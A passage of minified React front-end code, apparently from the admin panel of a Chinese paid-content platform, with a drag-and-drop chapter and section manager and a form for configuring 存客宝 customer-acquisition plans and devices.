ring-[#38bdac]":""}`,...R("section",B.id,{partId:_.id,partTitle:_.title,chapterId:Y.id,chapterTitle:Y.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(B.id),onChange:()=>y(B.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[B.id," ",B.title]}),w.includes(B.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",B.clickCount??0," · 付款 ",B.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(B.hotScore??0).toFixed(1)," · 第",B.hotRank&&B.hotRank>0?B.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(B),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(B),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(B),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]},B.id)})})]},Y.id))})]},_.id)}if(xe)return s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"附录"}),s.jsx("div",{className:"space-y-3",children:_.chapters.map((J,Y)=>J.sections.length>0?J.sections.map(B=>{const re=I("section",B.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+B.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:B.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 group cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",B.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",B.id,{partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(B.id),onChange:()=>y(B.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300 truncate",children:["附录",Y+1," | ",J.title," | ",B.title]}),w.includes(B.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",B.clickCount??0," · 付款 ",B.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(B.hotScore??0).toFixed(1)," · 第",B.hotRank&&B.hotRank>0?B.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(B),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>a(B),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>i(B),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},B.id)}):s.jsxs("div",{className:"flex justify-between items-center py-2 select-none hover:bg-[#162840]/50 rounded px-2 -mx-2",children:[s.jsxs("span",{className:"text-sm text-gray-500",children:["附录",Y+1," | ",J.title,"(空)"]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},J.id))})]},_.id);if(fe&&_.chapters.length===1&&_.chapters[0].sections.length===1){const J=_.chapters[0].sections[0],Y=I("section",J.id),B={partId:_.id,partTitle:_.title,chapterId:_.chapters[0].id,chapterTitle:_.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,B),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[_.chapters[0].title," | ",J.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},_.id)}return fe?s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"尾声"}),s.jsx("div",{className:"space-y-3",children:_.chapters.map(J=>J.sections.map(Y=>{const B=I("section",Y.id);return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+Y.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:Y.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${B?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",Y.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",Y.id,{partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(Y.id),onChange:()=>y(Y.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300",children:[J.title," | ",Y.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",Y.clickCount??0," · 付款 ",Y.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(Y.hotScore??0).toFixed(1)," · 第",Y.hotRank&&Y.hotRank>0?Y.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(Y),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(Y),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},Y.id)}))})]},_.id):s.jsxs("div",{className:`rounded-xl border bg-[#1C1C1E] overflow-hidden transition-all duration-200 ${$?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50"}`,...R("part",_.id,{partId:_.id,partTitle:_.title,chapterId:((U=_.chapters[0])==null?void 0:U.id)??"",chapterTitle:((le=_.chapters[0])==null?void 0:le.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:J=>{J.stopPropagation(),J.dataTransfer.setData("text/plain","part:"+_.id),J.dataTransfer.effectAllowed="move",k({type:"part",id:_.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",_.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] rounded-xl shadow-xl shadow-[#38bdac]/20":"hover:bg-[#162840]/50"}`,onClick:()=>n(_.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac] flex items-center justify-center text-white font-bold shadow-lg shadow-[#38bdac]/30 shrink-0",children:D(Z)}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:_.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:J=>J.stopPropagation(),onClick:J=>J.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(_),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:_.chapters.map(J=>{const Y=I("chapter",J.id);return s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsxs("div",{draggable:!0,onDragStart:B=>{B.stopPropagation(),B.dataTransfer.setData("text/plain","chapter:"+J.id),B.dataTransfer.effectAllowed="move",k({type:"chapter",id:J.id})},onDragEnd:()=>{k(null),E(null)},onDragEnter:B=>{B.preventDefault(),B.stopPropagation(),B.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragOver:B=>{B.preventDefault(),B.stopPropagation(),B.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragLeave:()=>E(null),onDrop:B=>{E(null);const re=Ng(B.dataTransfer.getData("text/plain"));if(!re)return;const ue={partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title};(re.type==="section"||re.type==="chapter")&&L(B,"chapter",J.id,ue)},className:`flex-1 min-w-0 py-2 px-2 rounded cursor-grab active:cursor-grabbing select-none -mx-2 transition-all duration-200 flex items-center gap-2 ${Y?"bg-[#38bdac]/15 ring-1 ring-[#38bdac]/50":""} ${T("chapter",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/30"}`,children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:J.title})]}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:B=>B.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(_,J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(_,J),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:J.sections.map(B=>{const re=I("section",B.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+B.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:B.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg group cursor-grab active:cursor-grabbing select-none min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",B.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] shadow-lg":"hover:bg-[#162840]/50"}`,...R("section",B.id,{partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0 flex-1",children:[y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(B.id),onChange:()=>y(B.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("div",{className:`w-2 h-2 rounded-full shrink-0 ${B.price===0||B.isFree?"border-2 border-[#38bdac] bg-transparent":"bg-gray-500"}`}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[B.id," ",B.title]}),w.includes(B.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:ue=>ue.stopPropagation(),onClick:ue=>ue.stopPropagation(),children:[B.isNew&&s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"NEW"}),B.price===0||B.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",B.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",title:"点击次数 · 付款笔数",children:["点击 ",B.clickCount??0," · 付款 ",B.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(B.hotScore??0).toFixed(1)," · 第",B.hotRank&&B.hotRank>0?B.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(B),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5 shrink-0",children:"付款记录"}),s.jsxs("div",{className:"flex gap-0.5 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(B),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(B),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},B.id)})})]},J.id)})})]},_.id)})})}function iV(t){var a;const e=new URLSearchParams;e.set("page",String(t.page)),e.set("limit",String(t.limit)),(a=t==null?void 0:t.keyword)!=null&&a.trim()&&e.set("keyword",t.keyword.trim());const n=e.toString(),r=n?`/api/admin/ckb/devices?${n}`:"/api/admin/ckb/devices";return De(r)}function oV(t){return De(`/api/db/person?personId=${encodeURIComponent(t)}`)}const $4=11,bw={personId:"",name:"",label:"",sceneId:$4,ckbApiKey:"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:"phone",remarkFormat:"",addFriendInterval:1,startTime:"09:00",endTime:"18:00",deviceGroups:""};function lV({open:t,onOpenChange:e,editingPerson:n,onSubmit:r}){const a=!!n,[i,o]=b.useState(bw),[c,u]=b.useState(!1),[h,f]=b.useState(!1),[m,g]=b.useState([]),[y,N]=b.useState(!1),[w,v]=b.useState(""),[k,C]=b.useState({});b.useEffect(()=>{t&&(v(""),o(n?{personId:n.personId??n.name??"",name:n.name??"",label:n.label??"",sceneId:$4,ckbApiKey:n.ckbApiKey??"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:n.remarkType??"phone",remarkFormat:n.remarkFormat??"",addFriendInterval:n.addFriendInterval??1,startTime:n.startTime??"09:00",endTime:n.endTime??"18:00",deviceGroups:n.deviceGroups??""}:{...bw}),C({}),m.length===0&&E(""))},[t,n]);const E=async I=>{N(!0);try{const O=await iV({page:1,limit:50,keyword:I});O!=null&&O.success&&Array.isArray(O.devices)?g(O.devices):O!=null&&O.error&&ie.error(O.error)}catch(O){ie.error(O instanceof Error?O.message:"加载设备列表失败")}finally{N(!1)}},T=async()=>{var R;const I={};(!i.name||!String(i.name).trim())&&(I.name="请填写名称");const O=i.addFriendInterval;if((typeof O!="number"||O<1)&&(I.addFriendInterval="添加间隔至少为 1 分钟"),(((R=i.deviceGroups)==null?void 0:R.split(",").map(D=>D.trim()).filter(Boolean))??[]).length===0&&(I.deviceGroups="请至少选择 1 台设备"),C(I),Object.keys(I).length>0){ie.error(I.name||I.addFriendInterval||I.deviceGroups||"请完善必填项");return}u(!0);try{await r(i),e(!1)}catch(D){ie.error(D instanceof Error?D.message:"保存失败")}finally{u(!1)}};return s.jsx(Dt,{open:t,onOpenChange:e,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-y-auto",children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:"text-[#38bdac]",children:a?"编辑人物":"添加人物 — 存客宝 API 获客"}),s.jsx(yf,{className:"text-gray-400 text-sm",children:a?"修改后同步到存客宝计划":"添加时自动生成 token,并同步创建存客宝场景获客计划"})]}),s.jsxs("div",{className:"space-y-6 py-2",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-3",children:"基础信息"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["名称 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsx(se,{className:`bg-[#0a1628] text-white ${k.name?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,placeholder:"如 卡若",value:i.name,onChange:I=>{o(O=>({...O,name:I.target.value})),k.name&&C(O=>({...O,name:void 0}))}}),k.name&&s.jsx("p",{className:"text-xs text-red-400",children:k.name})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"人物ID(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"自动生成",value:i.personId,onChange:I=>o(O=>({...O,personId:I.target.value})),disabled:a})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签(身份/角色)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 超级个体",value:i.label,onChange:I=>o(O=>({...O,label:I.target.value}))})]})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-5",children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-4",children:"存客宝 API 获客配置"}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-8 gap-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝密钥(计划 apiKey)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"创建计划成功后自动回填,不可手动修改",value:i.ckbApiKey,readOnly:!0}),s.jsx("p",{className:"text-xs text-gray-500",children:"由存客宝计划详情接口返回的 apiKey,用于小程序 @人物 时推送到对应获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["选择设备 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsxs("div",{className:`flex gap-2 rounded-md border ${k.deviceGroups?"border-red-500":"border-gray-700"}`,children:[s.jsx(se,{className:"bg-[#0a1628] border-0 text-white focus-visible:ring-0 focus-visible:ring-offset-0",placeholder:"未选择设备",readOnly:!0,value:i.deviceGroups?`已选择 ${i.deviceGroups.split(",").filter(Boolean).length} 个设备`:"",onClick:()=>f(!0)}),s.jsx(te,{type:"button",variant:"outline",className:"border-0 border-l border-inherit rounded-r-md text-gray-200",onClick:()=>f(!0),children:"选择"})]}),k.deviceGroups?s.jsx("p",{className:"text-xs text-red-400",children:k.deviceGroups}):s.jsx("p",{className:"text-xs text-gray-500",children:"从存客宝设备列表中选择,至少选择 1 台设备参与获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"好友备注"}),s.jsxs(hl,{value:i.remarkType,onValueChange:I=>o(O=>({...O,remarkType:I})),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择备注类型"})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"phone",children:"手机号"}),s.jsx(_r,{value:"nickname",children:"昵称"}),s.jsx(_r,{value:"source",children:"来源"})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"备注格式"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 手机号+SOUL链接人与事-{名称},留空用默认",value:i.remarkFormat,onChange:I=>o(O=>({...O,remarkFormat:I.target.value}))})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"打招呼语"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"你好,请通过",value:i.greeting,onChange:I=>o(O=>({...O,greeting:I.target.value}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"添加间隔(分钟)"}),s.jsx(se,{type:"number",min:1,className:`bg-[#0a1628] text-white ${k.addFriendInterval?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,value:i.addFriendInterval,onChange:I=>{o(O=>({...O,addFriendInterval:Number(I.target.value)||1})),k.addFriendInterval&&C(O=>({...O,addFriendInterval:void 0}))}}),k.addFriendInterval&&s.jsx("p",{className:"text-xs text-red-400",children:k.addFriendInterval})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"允许加人时间段"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.startTime,onChange:I=>o(O=>({...O,startTime:I.target.value}))}),s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"至"}),s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.endTime,onChange:I=>o(O=>({...O,endTime:I.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"获客成功提示"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[72px] resize-none",placeholder:"请注意消息,稍后加你微信",value:i.tips,onChange:I=>o(O=>({...O,tips:I.target.value}))})]})]})]})]})]}),s.jsxs(on,{className:"gap-3 pt-2",children:[s.jsx(te,{variant:"outline",onClick:()=>e(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:T,disabled:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:c?"保存中...":a?"保存":"添加"})]}),h&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",children:s.jsxs("div",{className:"w-full max-w-3xl max-h-[80vh] bg-[#0b1828] border border-gray-700 rounded-xl shadow-xl flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3 border-b border-gray-700/60",children:[s.jsxs("div",{children:[s.jsx("h3",{className:"text-sm font-medium text-white",children:"选择设备"}),s.jsx("p",{className:"text-xs text-gray-400 mt-0.5",children:"勾选需要参与本计划的设备,可多选"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{className:"bg-[#050c18] border-gray-700 text-white h-8 w-52",placeholder:"搜索备注/微信号/IMEI",value:w,onChange:I=>v(I.target.value),onKeyDown:I=>{I.key==="Enter"&&E(w)}}),s.jsx(te,{type:"button",size:"sm",variant:"outline",className:"border-gray-600 text-gray-200 h-8",onClick:()=>E(w),disabled:y,children:"刷新"}),s.jsx(te,{type:"button",size:"icon",variant:"outline",className:"border-gray-600 text-gray-300 h-8 w-8",onClick:()=>f(!1),children:"✕"})]})]}),s.jsx("div",{className:"flex-1 overflow-y-auto",children:y?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-400 text-sm",children:"正在加载设备列表…"}):m.length===0?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-500 text-sm",children:"暂无设备数据,请检查存客宝账号与开放 API 配置"}):s.jsx("div",{className:"p-4 space-y-2",children:m.map(I=>{const O=String(I.id??""),L=i.deviceGroups?i.deviceGroups.split(",").map(_=>_.trim()).filter(Boolean):[],R=L.includes(O),D=()=>{let _;R?_=L.filter(Z=>Z!==O):_=[...L,O],o(Z=>({...Z,deviceGroups:_.join(",")})),_.length>0&&C(Z=>({...Z,deviceGroups:void 0}))};return s.jsxs("label",{className:"flex items-center gap-3 rounded-lg border border-gray-700/60 bg-[#050c18] px-3 py-2 cursor-pointer hover:border-[#38bdac]/70",children:[s.jsx("input",{type:"checkbox",className:"h-4 w-4 accent-[#38bdac]",checked:R,onChange:D}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-sm text-white truncate max-w-xs",children:I.memo||I.wechatId||`设备 ${O}`}),I.status==="online"&&s.jsx("span",{className:"rounded-full bg-emerald-500/20 text-emerald-400 text-[11px] px-2 py-0.5",children:"在线"}),I.status==="offline"&&s.jsx("span",{className:"rounded-full bg-gray-600/20 text-gray-400 text-[11px] px-2 py-0.5",children:"离线"})]}),s.jsxs("div",{className:"text-[11px] text-gray-400 mt-0.5",children:[s.jsxs("span",{className:"mr-3",children:["ID: ",O]}),I.wechatId&&s.jsxs("span",{className:"mr-3",children:["微信号: ",I.wechatId]}),typeof 